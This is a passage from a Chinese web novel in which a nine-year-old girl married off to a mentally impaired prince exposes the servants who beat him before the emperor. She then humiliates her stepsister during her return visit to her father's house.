谢元棠正要说话,一旁的姜皇后清了清嗓子忽然道,“无非是昨儿砚儿病情危急,今儿你们又醒得晚,错过了早饭时间罢了,怎么的就被你说成是不给饭吃了?”
“我没有胡说呀。”
谢元棠眨眨黑白分明的大眼睛,稚声道:“就是没吃嘛,屋子里连水都没有哦~父皇不信的话可以问夫君呀,我们肚子咕噜噜叫了好久了呢!”
仿佛是为了响应她的话,身旁司徒砚的肚子忽然大声“咕噜”了一声!
这下不用问,俩人是肯定没吃饭了。
“放肆!下人们到底是怎么服侍的?”
皇上脸色阴沉,司徒砚是他的儿子,他就算不喜这个儿子,也不会任由底下的人欺侮他。
更何况,今日同来的还有太傅。
这岂不是当着太傅的面说他没照顾好儿子,打他的脸嘛!
“皇上,冷馒头食之伤胃,砚儿身弱,本就不宜吃这个,下人们不过是想回笼热好再呈上罢了。”
姜皇后话音一顿,她又看向谢元棠,很是无奈地摇了摇头道:
“元棠,本宫听丞相说你幼年并未养在谢家,而是被农妇养大,料想你可能德行有失,却没想到你小小年纪竟如此颠倒黑白。”
靠!
你才德行有失!你全家都德行有失!
谢元棠怒了!
小拳头握得死紧,绷着一张小脸瞪大了眼睛。
谢元棠以为的自己:愤怒,冷傲,不容轻蔑。
皇上和太傅眼中的她:哟,孩子还气上了!唔……像只炸毛小火鸡!
炸毛小火鸡……哦不,谢元棠一扬头冷声道:“被农妇养大又如何?是我的错吗?那是谢兆青当爹的错!”
她一张瘦白的小脸上鞭痕纵横,何况昨日冲喜的事情闹那么大,明眼人一看就知道是怎么回事。
视线从她小脸上扫过,皇上目光微微滞了一滞。
张了张口想说什么,最后又叹了口气。
冲
喜这件事不止谢家皇室也欠了这小火鸡……咳小丫头一份情啊。
“过去的事情不必再提元棠既是皇家儿媳便没有任何人可以拿她的过去说事。”
帝王淡淡一句话。
算是堵了皇后和宫中众人的口光明正大的承认了谢元棠五皇子妃的身份。
谢元棠微微一愣没想到皇上会替她说话接着就听见皇上问她:“元棠你方才所言可是真话?”
“自然棠棠可不敢欺君。”
谢元棠重重地点了点头幅度有点大头顶的珠翠流苏发出清脆的响声看起来俏皮又灵动。
炸毛小火鸡点头了!
莫名想到这皇上没忍住轻笑出声。
众人都有些奇怪连姜皇后都觉得稀奇皇上一向是威严冷肃今日怎么如此爱笑?
她不由看向谢元棠难道是这个小丫头?
谢元棠嘟起小嘴:“真是奇怪皇后娘娘宁可相信下人的一面之词也听不见我和夫君肚子咕噜噜的声音。”
她“童言无忌”好像只是单纯地说出自己的想法却轻飘飘地就让姜皇后在皇上心中的信任值刷刷往下掉!
姜皇后眉心一压心中暗恨谢元棠乱说话脸上却合时宜地摆出慈母的愁绪来:“下人们也是好意追过去想将馒头要回来热一热再给你们结果还被你们打了一顿如此还不够吗?”
语气殷切就差把“无理取闹”四个字贴谢元棠和司徒砚脑门上了!
谢元棠眼睫低垂果然姜皇后不是好对付的。
她也没想仅凭今日就扳倒皇后只不过杜韦和那几个小厮却不得不除否则她和司徒砚在府中永无宁日更别提救出娘亲报复谢家了。
谢元棠心思急转另一边皇上看向司徒砚冷声问道:“砚儿你打人了?”
司徒砚最怕他听见他的声音就是一颤白着脸小声道:“……打了。”
“胡闹!”
司徒砚顿时一僵条件反射地“噗通”一声就跪在了地上。
这是习惯使然跪下以后他才忽然想起什么又急忙抬起头
桃花眼清澈又畏惧还带着两分疑惑:
“娘子你跟我说过我不
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能跪太监,那我能跪父皇吗?
鸦雀无声。
从见到皇上到现在,司徒砚第一次说这么长的句子。
却成功的,让本就安静的大殿更静了。
此刻就算一根针掉在地上,也能听得见!
“跪太监?
司徒擎脸都黑了。
他司徒擎的儿子,竟然跪太监!
“谁让你跪太监了?
皇上脸色阴鸷,一旁的言关清掀了掀眼皮,目光暗沉。
两人都在看司徒砚,司徒砚却在看谢元棠。
他还在等着她的回答。
“夫君别怕。
谢元棠拉住他的手,笑了笑,糯糯道:“父皇又不是那些太监,不会打你的。
纤弱的小手总是传递出让人安心的温度,司徒砚脸色恢复了些,点点头回握紧她的小手:
“娘子也不怕,就算打也是打我,我不会让人打娘子的。
一大一小的身影乖顺地跪在那里,看起来又可怜,又无助。
突然,安寂的大殿中响起一道清凛的声音。
“府中下人打过你?
开口的人却不是皇上和皇后,而是一直坐在那里没有吭声的太傅——言关清。
一身深紫宽袍朝服,面容白皙清瘦,一双清冷的眉眼充满距离感,让人摸不透他是敌是友。
司徒砚明显很怕这个舅舅,犹犹豫豫不知道该点头还是摇头。
谢元棠可不管那么多。
管他是敌是友,既然递了梯子,她没理由不踩上去!
“舅舅,不是打哦~
“是扇,会啪一声,超响的那种!
“我指给舅舅看。她伸出小手,捧起司徒砚的下巴,“夫君抬头,给舅舅看你的脸。
“哦。司徒砚眨眨眼,配合得仰起头侧过脸。
“舅舅看这里,巴掌印还在呢!
司徒砚这么一抬头,脸上的红印便清晰地露了出来,五指的形状赫然在现。
先前因为他一直低着头,都没人注意到。
看着那个巴掌印,言关清眼目骤沉:“皇后找的人可真是厉害!
“本官倒是不知,我言家的人,何时连一个区区太监都敢骑到头上去了?
第7章 舅舅康康这里,父皇再康康这里
言关清冷声逼问,顿时将姜皇后说得语塞。
言家人身份特殊,何况言关清还是她儿子的老师,这重重关系下,哪怕她是皇后,也得让他三分。
何况这事……她不占理。
姜皇后正想解释,可是谢元棠又怎么可能给她机会?
她发挥自己九岁的孩童特性,蹦蹦跳跳地跑过去扯了扯言关清的袖子:“舅舅舅舅~”
言关清正在气头上,冷不丁看见跑到他跟前的小火鸡,不由怔了下。
面对那张满是伤痕却依然天真无邪的小脸,言关清不由心软了些,连说话的声音也比方才低了许多:“怎么了?”
“舅舅跟我来!”
谢元棠拉着言关清袖子的小手微微用力,言关清低头看了眼那只小手,他其实有点洁癖,但此刻却心中一动,下意识就跟着她站起身走到了司徒砚跟前。
司徒砚还跪在那儿,没人让他起,他就不起。
谢元棠拉他起来,朝他眨眨眼道:“夫君,把你的袖子卷起来。”
馒头的事只是个开始,她今天压根就没想跟皇后争辩司徒砚偷馒头是对是错,她要的,是将司徒砚受伤的证据摆在皇上面前。
要皇上不得不处理杜韦!
听见谢元棠让他卷袖子,司徒砚就乖乖地点点头,卷起袖子,露出胳膊上的几处淤青。
“这……”
言关清脸色骤沉。
三人围在一处,惹得皇上也好奇极了,干脆走过来加入他们,刚走过来,就看见司徒砚胳膊上的於伤,顿时脚步一滞停了下来。
“还有呢还有呢~”
谢元棠撩起司徒砚额前垂落的碎发,又短又小的手指头指着他额角的青紫。
“舅舅康康这里,父皇再康康这里……”
“腿上也有哦!”
“这些刁奴!简直放肆!”
皇上的脸已经彻底黑了。
言关清也沉了眉,阴冷的目光扫过姜皇后,意味不明。
姜皇后恶狠狠地瞪着谢元棠,简直恨不能撕了她那张嘴!
明明就是个弃子,怎么就这么多话!
谢兆青不是说给她喂了哑药吗?
难道喂的是假冒伪劣产品不成!
“呵。”
一声讥笑突兀地传来,言关清神情冷淡,说出的话却毒得很。
“皇后娘娘手底下的人还真是与众不同,连皇上都不会如此对待皇子们,区区一个太监,莫不是想跟皇上比肩不成?”
姜皇后脸色一变,顿时跪下:“皇上,臣妾,臣妾真的不知道此事,臣妾冤枉啊……”
皇上冷冷地看她一眼,这一次,却没叫她起来。
言关清也不管皇后是跪还是坐,他第一次,将视线久久地落在外甥身上。
“是谁让你下跪的?”
“平日里,他们经常打你吗?”
“可还记得那些太监的名字?”
一连三问,根本再纠结是不是司徒砚有错在先,只坐实了司徒砚被人欺负这件事!
让司徒砚从一个没教养不懂事的傻子变成了没人疼的小可怜!
谢元棠听得都想给他鼓掌,不愧是能当太傅的人!
这气度,这智慧,这口才!
舅舅真吊啊!
“对,砚儿你说,到底是哪个刁奴干的?”
皇上压着怒火冷声问道。
司徒砚被问得发懵,下意识去看谢元棠。
实际上,皇上也在看谢元棠,毕竟儿子是个傻的,而从刚开的一系列表现来看,两人之中这个小丫头才占据着主导权。
谢元棠心里快速地转动着,至少目前看来,皇上和太傅都是愿意替司徒砚做主的。
既然如此,她就不能再代司徒砚回答,而是得让司徒砚自己说出来,毕竟自己再如何都不过是个外人,真正能让皇上心软的只有司徒砚这个亲儿子。
谢元棠拿定主意,转头对司徒砚露出甜甜的笑容,晃了晃小拳头,糯糯地鼓励道:
“夫君别怕,只要把早上发生的事情讲出来就可以了。父皇跟舅舅
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不是那些太监,不会骂夫君是傻子,不会拖夫君的胳膊,不会踢夫君的小腿,更不会扇夫君的脸……”
姜皇后:“……”
臭丫头小小年纪,嘴皮子怎么这么溜?
你干脆把他咳嗽几声摔了几下也讲出来好了!
皇上点点头道:“砚儿但说无妨。”
司徒砚握着已经凉透的脏馒头,在谢元棠充满期待和肯定的眼神下,重重地点了点头。
娘
子已经说了好多话很辛苦的他也要帮忙。
司徒砚结结巴巴地讲起来:“早上我肚子咕噜噜……跑去厨房他们用擀面杖砸我的头……”
他指了指脑袋皱起眉头有些费力地回忆:“我抢了馒头……我没用本来抢了两个的掉了一个……”
桃花眼眨了眨
“娘子不让我跪娘子跟杜韦打架我帮娘子打架……”
寂静的大殿上只有司徒砚磕磕巴巴的声音。
皇上听着看着心里难受极了。
他一直以为司徒砚有人照顾就算一辈子当个傻子也无妨却不想这些人竟在他眼皮子底下虐打他的儿子!
看着那双充满恐惧的桃花眼司徒擎一瞬间仿佛在他身上看见了另一道身影。
“来人!”
司徒擎震怒冷声喝道:“去皇子府将那几个刁奴押上来!”
言关清单手拂过官袍跪下:“皇上早年对臣家父承诺会善待砚儿若是做不到臣会带他回言家。”
司徒擎呼吸一滞沉声道:“爱卿放心此事朕必会给你一个交代。”
“皇上……”
姜皇后脸色一白抬手拭了拭不存在的眼泪哽咽道:“臣妾实在不知那杜韦竟如此胆大妄为让砚儿受了这等委屈请皇上责罚臣妾吧。”
司徒擎看了她一眼沉声道:“皇后先起吧事情如何朕自有定断。”
不多时杜韦几人便被五花大绑带了过来。
司徒擎看都不看二话不说就下令:“来人给朕将这几个刁奴押到院子里先打二百大板再说!”
第8章 你们的棠这就来找你们了
圣旨一下,惊掉了杜韦的双下巴!
从他被押过来到被拖出去,一句话都没来得及说。
就被人按在地上,扒了裤子打起板子来!
帝王发怒,侍卫们更是打得格外用力!生怕一个没打到位自己得替这老太监挨一下!
一板子下去,杜韦身上立刻皮开肉绽!
“啊啊啊啊!”
“皇上饶命!饶命啊!”
惨叫声,痛苦声,哀求声……
一声声传进来,谢元棠垂着头,盖住微微扬起的嘴角。
这才只是开始而已。
忽然,一只温热的大手轻轻捂住了她的耳朵。
谢元棠抬头,看见司徒砚那双澄清的桃花眼。
“娘子不听,不听就不会怕了。”
谢元棠微微一怔,笑了。
她可是敢徒手解剖丧尸的人,怎么会怕这些?
不过她不怕,有人却怕了。
自从杜韦等人出现后,姜皇后的脸色就愈发不好看。
尤其在杜韦喊出了她的名字后。
“皇后娘娘救命啊!”
“娘娘救救奴才啊!”
龙椅上,司徒擎看向姜皇后的眼神渐渐深沉。
殿外,一个不起眼的小太监在门口处晃了下,桂嬷嬷扫了眼,也没动作,只是在姜皇后看过来时几不可查地点了下头。
姜皇后心中顿时松了口气。
只是这口气才松到一半,就听见那道独有的,天真无辜的稚声:“咦?皇后娘娘,杜韦怎么一直喊您啊?”
姜皇后:“……”
臭丫头,本宫早晚撕了你那张讨人厌的嘴!
心中暗恨谢元棠嘴快,姜皇后却也知道不能再任由杜韦说下去了,她深吸口气,对司徒擎道:
“皇上,这该死的奴才做出这等丧心病狂之事,区区杖责两百未免太便宜他们了。”
司徒擎眯了眯眼:“哦?那依皇后该如何处置?”
“照我玄昭律例,仆辱主者,按律当诛。”
司徒擎:“杜韦怎么说也算皇后的人,皇后竟不为他求情吗?”
姜皇后傲骨凛然道:“他以下犯上,败坏臣妾声誉,挑拨臣妾和砚儿的情分,如此恶奴,留下也是祸害。”
谢元棠心中冷笑,说的还真是慷慨激昂,不过是弃车保帅罢了。
但看司徒擎的意思,今天只怕也只能放过皇后了。
毕竟一国皇后,怎么可能用几个太监就能拉她下马?
果然,司徒擎看向言关清:“爱卿以为如何?”
言关清目光不着痕迹地从谢元棠和司徒砚身上扫过:“臣以为皇后娘娘所言甚是。”
“来人!”
司徒擎连审都不必审,直接下旨:“将杜韦三人收押,择期处决!”
“是。”
杜韦大约没想到,他不过是像平常一样欺负了司徒砚,怎么就落得被砍头的命运。
本来两百大板打完,杜韦等人已经掉了半条命了。
这会儿被这道圣旨吓得又回光返照了点,扒着凳子哀嚎:“皇后娘娘救我啊,奴才都是……唔唔唔……”
没人再听他说话,侍卫直接捂住了他和小李子小顺子的嘴拖走了,只留下殿外一地的血水。
司徒砚怔怔看着被带走的杜韦,忽然转头问了谢元棠一句:
“娘子,以后我再拿馒头,是不是不会挨打了?”
“当然!”
谢元棠弯着月牙似的眼睛,肯定地点点小脑袋:“你想拿多少馒头都可以!”
司徒砚桃花眼一亮,仿佛看见了某种投喂渠道:“那我天天给娘子拿馒头!”
谢元棠:“……倒也不必。”
听着俩孩子在那里馒头来馒头去的,司徒擎有些想笑,招招手道:“好了,刁奴的事情解决了,现在该敬茶了吧?”
姜皇后倒是很上道,脸上如沐春风的笑容就好像刚才的事没发生过似的,点点头道:“正是,你们两个还不快上前来,给你们父皇敬茶?”
谢元棠眨了下眼,这才想起来他们今日进宫原就是来敬茶的。
两人上得前来,跪在帝后面前,分别敬了茶。
姜皇后接过谢元棠的茶,先小抿了一口,忽然一副严母的语气道:“元棠,你如今也算是皇室的人了,今日在我跟你父皇面前可以没大没小,以后可得将宫里的规矩都学起来,这样吧,从明天开始,你每日进宫来,本宫让桂嬷嬷教你规矩。”
谢元棠:“……”靠!
好你个老巫婆,
拿这招对付我是吧?
谢元棠眨眨眼,一转头可怜巴巴地望向司徒擎:“父皇,棠棠知道自己不够好,可是棠棠身上好疼啊,脸也疼……
说着说着,大眼睛里就蓄满了晶莹的泪珠。
看得人心疼极了!
司徒擎当即就拍板:“规矩什么时候都能学,先养好伤再说!
“况且后日元棠还要回门,府上定然忙碌,不必急于这两日功夫。
“父皇真好!
谢元
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棠小拍了下龙屁,而后大眼珠子一转,冒出一个主意来。
末世生存守则二:当天有仇当天报!一报更比一报强!
坑我学规矩?
看大佬棠拔了你的根!
“父皇……
怯怯糯糯的声音响起,谢元棠眨巴着惊恐的大眼睛,小声问道:“父皇打了杜韦,可是府里还有好多人……他们会不会再打我和夫君呀?棠棠害怕……
弱小的身体缩在司徒砚身旁轻轻颤抖。
司徒砚想到那样的场景,俊脸一白,也跟着颤抖起来,鼓起勇气看向司徒擎:“父皇,可不可以……不让娘子住皇子府?会挨打,会吃不饱……我没用,保护不了她。
一大一小两人跪在那里,柔弱无助,惹人心疼!
司徒擎为数不多的父爱顿时被激发起来,大手一挥道:“他们敢!“
“你们不必怕,朕会彻查皇子府,那些欺主的刁奴有一个算一个全都扔出去!
“真的吗?
谢元棠眼睛一亮,拍着小手满是崇拜:“父皇真好!父皇万岁!
她跳起来,脑袋上的流苏跟着一甩一甩的,可爱极了。
司徒擎那颗老父亲的心都被软化了。
谢元棠朝司徒砚眨眨眼:“夫君,父皇是不是很厉害?
司徒砚歪了歪头,看向司徒擎。
一瞬间,司徒擎心中竟然有点紧张,握着扶手的手不由轻微一紧。
“嗯,厉害。
桃花眼弯了弯,司徒砚如实道:“父皇能打败杜韦,超厉害的!
他学着谢元棠的用词,还有模有样地朝司徒擎比了个大拇指。
司徒擎微微一愣,继而大笑出声:“好!好!
谢元棠看一眼旁边的言关清,也朝他比了个大拇哥:“舅舅也好棒!
言关清:“……小滑头。
司徒擎一高兴,就赏了谢元棠和司徒砚许多东西,金银珠宝衣服首饰数不数胜数,更是将心腹大太监曲公公指派给两人。
“让曲培跟着你们回去,府里该整治的整治,该收拾的收拾,什么时候府中安生了,什么时候再说学规矩的事。
谢元棠大眼睛骤然一亮。
整顿整顿,两三天肯定是好不了的。
那她回门的时候,曲培必然还跟在他们身边。
这简直就是送了她一块活招牌啊!
她就不信,谢家敢不给她面子,还敢不给曲公公背后的皇上面子!
哼哼。
渣爹贱妾好妹妹,你们的棠这就来找你们了!
第9章 无比亲切!无比……手痒!
宫里的消息传得飞快。
不到下午,整个皇宫都知道五皇子司徒砚冲喜成功了!
本来已经一脚踏进鬼门关的傻子,愣是被谢家九岁的嫡小姐给救了回来!
现在都传这位九岁的小皇妃是小福星转世,不止救了五皇子的命,而且进宫一趟还哄得圣上龙颜大悦。
一时间各种小道消息传得飞起,无数双眼睛都紧盯着皇子府,尤其好奇传说中的福星小皇妃。
谢.福星.元棠听说这些消息的时候,正翘着二郎腿吃着司徒砚剥好的荔枝,小嘴鼓包包的,嘟囔问:“还有呢?还说了什么?”
曲公公带来的侍女白芙笑着道:“旁的倒是没说什么了,只不过有好些人往咱们府上递帖子,公公说那些人都是来试探的,您和殿下都在养伤,还是不见的好。”
“嗯。”谢元棠点点头,曲培做事果然老练,来皇子府不到半天,就将府里原来那些欺主的恶仆全都清空,换了一批信得过的人。
白芙和红蕖就是曲公公指给伺候谢元棠的侍女,听说两人原是在宫里做公主陪读的,白芙机敏稳重,红蕖开朗直率,做事都很麻利。
谢元棠看着身旁专心剥荔枝的司徒砚牌大狗狗,问道:“你不是说舅舅以前从言家给你找了随侍吗?人呢?”
如果有言家的随侍跟着,司徒砚怎么可能混这么差?
司徒砚剥着荔枝的手顿了顿:“言枫回老家探亲了,言墨受伤了。”
谢元棠下意识以为也是被杜韦打伤了,想了想说:“他对你好吗?好的话,等回门回来以后,我们可以去看看他。”
她连司徒砚都能治活,就不信治不好一个随侍的伤。
当然,前提是这人可用。
司徒砚犹豫了下,点了点头。
接下来的两天,谢元棠一直在府里养伤,顺便又进了两趟随身实验室,一次是将她的解剖刀拿出来,一次是把零号小丧尸的脑袋带了出来。
终于,到了回门这天。
出门前,司徒砚看见谢元棠悄摸摸往袖子里塞东西,好奇地问她:“娘子,你在带什么啊?”
谢元棠头也不抬地敷衍:“回门礼啊。”
“可是回门礼不是都放车上了吗?”
谢元棠挑了挑眉,神秘
兮兮地扬了扬袖子道:“那怎么能一样?那些都是曲公公准备的,而这里面……
“这可是我精心替我的好妹妹挑选的惊喜大礼包!
司徒砚眨眨眼,忽然道:“我也有礼物!我要去拿!
谢元棠刚想阻止,就看见他“嗖一下跑进了书房,不多时又“嗖地出现在她面前,将手里的乌陶罐子递给她:“这是我花好久才找到的,送给娘子妹妹。
“什么娘子妹妹,你这称呼真是一下子恶心俩人……
谢元棠一边吐槽一边随手打开罐子,却在看清里面的东西后瞬间笑了起来:“好好好,就把这个给她!哈哈哈夫君你可真是太棒了!
被夸的司徒砚开心得桃花眼都笑弯了,就差摇尾巴了!
两人墨迹了许久,等到谢府的时候都快晌午了。
谢兆青领着魏莲和谢雨沫站在门口迎接,一家人脸色都不好看。
天知道他们都快在这里站一上午了!
结果谢元棠这个臭丫头竟然现在才来!
“爹爹……雨沫好累啊!
谢雨沫站在谢兆青旁边,正伸着手撒娇要他抱,忽然,谢元棠的脑袋从马车里钻了出来。
“哎呀!这不是我的好大爹嘛!
清亮的一声大喊,给谢雨沫吓得一拘灵!
脚下一滑,直接“啪叽一声,一屁股摔在了地上!
疼得眼泪顿时飙了出来,委屈地去看谢兆青:“爹爹,姐姐吓了我一跳……
可惜她的爹妈这会儿都没功夫看她。
谢兆青神色晦然,魏莲则惨白着脸惊疑不定地望着谢元棠。
这丫头果真又能说话了!可是明明那碗哑药是她亲手灌下去的,怎么可能……
谢元棠站在马车上,大眼睛依次扫过谢兆青,魏莲和谢雨沫,心中顿时涌起一股冲动!
只觉得无比亲切!无比……手痒!
“臣率家眷恭迎五殿下,皇子妃。
谢兆青领着魏莲等人给谢元棠行礼,谢元棠扫了眼旁边谢雨沫嫉妒又不甘的神色,眨了眨眼,笑嘻嘻道:“爹爹抱我进府!
“什么?
谢雨沫顿时破防了:“你自己不会走吗?爹爹只可以抱我,不会抱你的!
谢
元棠歪了歪头,大眼睛看着谢兆青:“是这样吗爹爹?”
谢兆青微愣,这个他从未看在眼里的女儿,还是第一次跟他撒娇。
再看一眼跟在她和司徒砚身后的曲公公,谢兆青没多想就上前两步抱起谢元棠:“当然不是,爹爹永远是元棠的爹爹。”
眼睁睁看着谢兆青抱
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着谢元棠入府,谢雨沫气得小脸都要青了!
谢元棠状似无辜地捂着嘴巴,天真无邪道:“妹妹你脸色怎么这么难看?难道你嫉妒吗?虽然你不是谢家嫡女,可爹爹平日里对你也是当亲女儿看的,今儿不过是抱我一下,妹妹就这样容不下吗?”
今天回门谢府门口本来就围了许多百姓,听见这话顿时开始窃窃私语起来。
“就是,那谢雨沫不过是个假千金,竟然还霸占着丞相爹不放,简直无耻啊!”
“可不是,皇子妃都这么可怜了,回个门才不到一天时间她都容不下,可见平日里是怎么作威作福的。”
“你看皇子妃脸上的伤,听说就是被那个小妾打出来的呢!真是作孽哦!”
谢雨沫气得发抖,她还从来没有这样被人指指点点的。
尤其她还屁股疼,一边哭着一边捂着屁股,一瘸一拐地进去。
谢元棠眼中闪过恶劣的光,惊呼道:“妹妹你为什么用手捂着屁股?难不成你拉裤子了!”
“你才拉裤子了!我是,我是……”
经她的大嗓门这么一喊,周围下人看着谢雨沫的眼神顿时不对劲了。
那视线还总往她屁股上瞅。
谢雨沫气得脸都红了:“看什么看?我没拉裤子!”
正好司徒砚路过,捂着鼻子道:“可是你身上真的有点臭诶!”
“不过娘子说了,这个时候不可以为难别人。”
“所以……嗯嗯你说得对,你没拉裤子,是你们家空气太臭了。”
谢雨沫:“……”
司徒砚说完就快走几步去追谢元棠,是以没有注意到谢雨沫越来越阴狠的眼神。
谢雨沫看着两人走远的背影,脸色狰狞地转过身,小声对魏莲道:“娘,我们之前不是准备了东西吗?该派上用场了。”
“今天吗?会不会太冒险了?你爹说……”
魏莲有些担心,谢雨沫却狞笑道:“爹都快被她哄得找不到北了,我们再不为自己争取,以后只会变成第二个冷蕴菀和谢元棠。”
魏莲微微一怔,看着走远的父女二人,终是点了点头转身去了后院。
谢雨沫冷笑低喃:“贱人,你给我等着!”
“你骂谁贱人呢?”
一道阴冷的声音传来,谢雨沫下意识回头,就看见司徒砚不知何时又拐了回来,正居高临下看着她。
那双往日里澄澈无邪的桃花眼,此刻晦暗阴鸷,深邃骇骨!
第10章 比对着我脸上的鞭伤,一模一样就行
“你,你……”
谢雨沫骤然僵住,脸色一瞬间煞白无比。
逃!
被那双寒意的眼神盯着,谢雨沫心中只剩下这一个想法。
可是双脚跟钉在了地上似的,一下也动弹不得。
“夫君?”
正在谢雨沫想要大叫的时候,前方忽然传来谢元棠的声音。
仅一个称呼,司徒砚身上那股可怕的煞气就瞬间消弭无踪,转而又变回了那个单纯无害的呆傻五皇子。
“娘子娘子,等等我!”
直到司徒砚跑出很远,谢雨沫才从那种窒息的感觉中缓过神来。
她看着司徒砚傻里傻气的样子,疑惑地蹙起了眉。
方才应该是她想多了吧?
一个傻子而已。
……
一行人回了正厅,谢老夫人没出现。
谢兆青解释道:“家母年事已高,近日身子又不大爽利,不宜见客,还请公公海涵。”
明明有身份更尊贵的五皇子司徒砚在这里,他却对着曲培解释。
谢元棠心中冷笑,面上却做惊讶状道:“祖母病了?那我待会儿可得去看看她。”
“夫君,你不知道,以前在家的时候,祖母对我可好了!”
又打又骂的那种好。
“噗……咳咳咳咳!!!”
一杯茶喝了一口,喷了半杯!
谢兆青颤抖着手搁下茶杯,震惊地看着谢元棠。
你在胡说八道什么?
对你好?
让你冲喜这个提议就是她提的!
谢兆青将茶杯搁回桌上,清了清嗓子道:“今日是你回门的喜日,你年纪小身体又一向弱,就别去见了,免得过了病气。”
谢元棠眨眨眼,小脸上满是孝顺的担忧:“没事呀,我不怕。”
谢兆青:“……”你不怕我怕啊!
自从知道这个女儿冲喜没死,还哄得皇上龙颜大悦之后,他再看这个女儿,心里就突突直跳!
“真不用了,你祖母刚喝了药,想必这会儿才睡下。”
“是吗?那可真是太可惜了!”
谢元棠想起那老虔婆以前打骂原主的嘴脸,稚嫩的小脸上满是遗憾。
能不可惜吗?
她都准备好节目了保证能把老不死的气得一魂升天三魄归地结果老虔婆竟然装病不出来!
说话间走在最后的魏莲和谢雨沫才姗姗来迟。
两人一进门就看见谢元棠高坐主位小小的身子脚都挨不到地却偏偏可以那样趾高气昂地看着她们。
谢雨沫眼中的嫉恨一闪而过往常能这么做的人只有她!
谢元棠这个贱胚子怎么配!
“呀!妹妹这样瞪着我做什么?”
谢元棠像是才发现谢雨沫的眼神似的惊呼一声转头看向司徒砚和曲培苍白的小脸上满是惊慌和恐惧:
“夫君曲公公妹妹是不是又要打棠棠了?棠棠好怕怕~”
谢雨沫、魏莲、谢兆青:“!”
谢雨沫气得差点跳脚:“谁打你了?谢元棠你别信口雌黄!”
还“又”打她?
故意内涵谁呢!
谢元棠像是被谢雨沫吓着了小身子颤抖着往后缩了缩抓住了司徒砚的袖子:“夫君我怕~”
“娘子别怕我不会让她打你的!”
司徒砚瞪着谢雨沫:“你干什么凶娘子?”
“我……”
谢雨沫刚想骂回去想起司徒砚之前看她那个眼神话音一滞忽然不敢说了。
整个过程中曲培眉头紧皱看着谢雨沫的神情越来越不喜。
他是皇上赐给司徒砚和谢元棠的自然是向着自家殿下和皇子妃而且方才谢雨沫那样阴狠嫉妒的眼神他看得门儿清。
当着他的面都敢如此可见以前是如何对待谢元棠的。
再看谢元棠脸上未好的鞭伤曲培一时更加心疼自家小皇妃想也不想就冷哼道:“放肆!见到殿下和皇子妃不行礼还敢当众喧哗谢二小姐是看不起皇室吗?”
“我哪有……”
“雨沫还不跪下行礼?”
谢雨沫刚想辩解就被谢兆青训斥道。
谢元棠眨眨眼看着她脆生生道:“妹妹脑子不好使忘了礼数也正常。”
“啊!刚才还摔了屁股估计腿脚也不好
谢雨沫:“……”
你才
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脑子不好!你才腿脚不好!
谢雨沫气呼呼地等着谢元棠,心不甘情不愿地跟着魏莲跪了下去:“见过殿下,见过皇子妃。
谢元棠低头喝茶。
谢雨沫提高音量:“见过殿下,皇子妃!
谢元棠低头吃糕点。
谢雨沫:“谢元棠!你故意的是不是!
谢元棠放下糕点,抬头看向曲培,乌黑的大眼睛很是灵动:“公公,我年纪小,夫君也不大记得宫里的规矩,不知妹妹这样是否合规矩呢?
曲培也很看不惯谢雨沫的跋扈,当下就顺着谢元棠的话道:“以下犯上,自然不合规矩。
“那该如何呢?
“照律法,杖责三十。
此话一出,满堂静寂。
谢雨沫没想到谢元棠还要杖责她,当下气得咬牙:“谢元棠,你敢!
“雨沫,不得对你姐姐无礼。
谢兆青皱眉斥道,而后又对曲培道:“公公莫怪,小女跟她姐姐闹着玩儿罢了,并非是故意不敬。
顿了顿,他又看向谢元棠,声音微微带着警告:“元棠,还不叫你妹妹起来?别让公公和五殿下看了笑话。
话音刚落,却是被点到名字的司徒砚忽然开口:“我没有看娘子笑话啊!
“她欺负娘子,坏的是她,为什么你不罚她,反而说娘子会被笑话?
他很少说这么长的一句话,却一时间让谢兆青说不出反驳的话来。
曲培在一旁看着,眼中露出些许欣慰的神情来。
而谢元棠从始至终都一脸平静,大大的眼睛望着这一家子,仿佛看戏一样。
直到听见司徒砚的话,她才眨巴了下长长的睫毛,微一勾唇笑了。
“元棠,你还不让你妹妹起来?
“不可以呢~
谢元棠摇了摇头,脑袋上的双髻可爱得晃来晃去:“父皇说了,要曲公公帮我和夫君立规矩,爹爹让我放过妹妹,难道是要违抗圣命吗?
谢兆青顿时一僵。
谢元棠又对曲培道:“公公,她毕竟是我妹妹,杖责三十太重了,还是改为打脸好了。
“就比对着我脸上的鞭伤,打个一模一样就行。
第11章 渣爹把她娘亲送走了?
照着她脸上的鞭伤,打个一模一样?
谢元棠这话一出,众人顿时一惊,下意识将目光聚集在她的脸上。
“我不要!”
谢雨沫登时惊恐地捂住自己的脸:“跟你一样,那我岂不是要毁容了!”
她才不要变成丑八怪!
谢兆青脸色也沉了下来,谢雨沫是他最宠爱的女儿,他怎么可能眼睁睁看着她被人欺负?
“谢元棠你在口出什么狂言!”
谢兆青拍案冷哼,脸上再无那副慈父的模样:“雨沫是你妹妹,大庭广众之下动手成何体统?休要胡闹!”
回门之日,当着他的面,还有五皇子和曲公公在场,谢元棠这不是把他的脸按在地上摩擦吗!
谢元棠挑了挑眉,稚嫩的小脸上看不出喜怒,倒是一旁的司徒砚生气地皱起了眉头:
“你才口粗!你才狂言!不许你凶娘子!”
谢兆青顿时一噎。
余光往曲培身上扫了一眼,硬生生把话给憋了回去。
他可以跟谢元棠吼,但却不敢对司徒砚无礼,即使他只是一个傻子。
“娘子不怕,我不会让他欺负你的!”
司徒砚抓住谢元棠的小手,桃花眼中满是紧张。
谢元棠心里微暖,笑着点点头道:“嗯,我不怕,夫君也不要怕。”
说完她扬起头看向曲培,脑袋上的流苏因为这个举动晃来晃去的,很是软糯可爱:“公公,其他人怕是不敢的,这规矩……只能辛苦公公帮忙立住了。”
这就是要继续打谢雨沫的意思了!
曲培眼神闪过一抹精光,问道:“敢问皇子妃,是行鞭刑吗?”
谢元棠顿了下,她自然想打得越狠越好,可曲培代表着皇上,她还不能在曲培面前表现得太过狠辣。
想到这里,谢元棠叹了口气道:“到底是姊妹一场,她能如此对我,我却不能不义,就以掌嘴三十替之吧,辛苦公公了。”
曲培低头应是:“皇子妃言重,奴才奉命行事而已。”
说罢抬步朝谢雨沫走去。
“不,我不要挨打!”
没想到谢元棠真的敢打自己,谢雨沫顿时慌了,哭着喊道:“我不要我的脸被毁,爹爹救我啊!”
“雨沫!
不可以……”
魏莲急红了眼,也顾不得还跪在那里,急忙扑过去拦住下人,不许他们带走谢雨沫:“皇子妃您怎么可以这么残忍呢?雨沫才九岁,她是您的妹妹呀!”
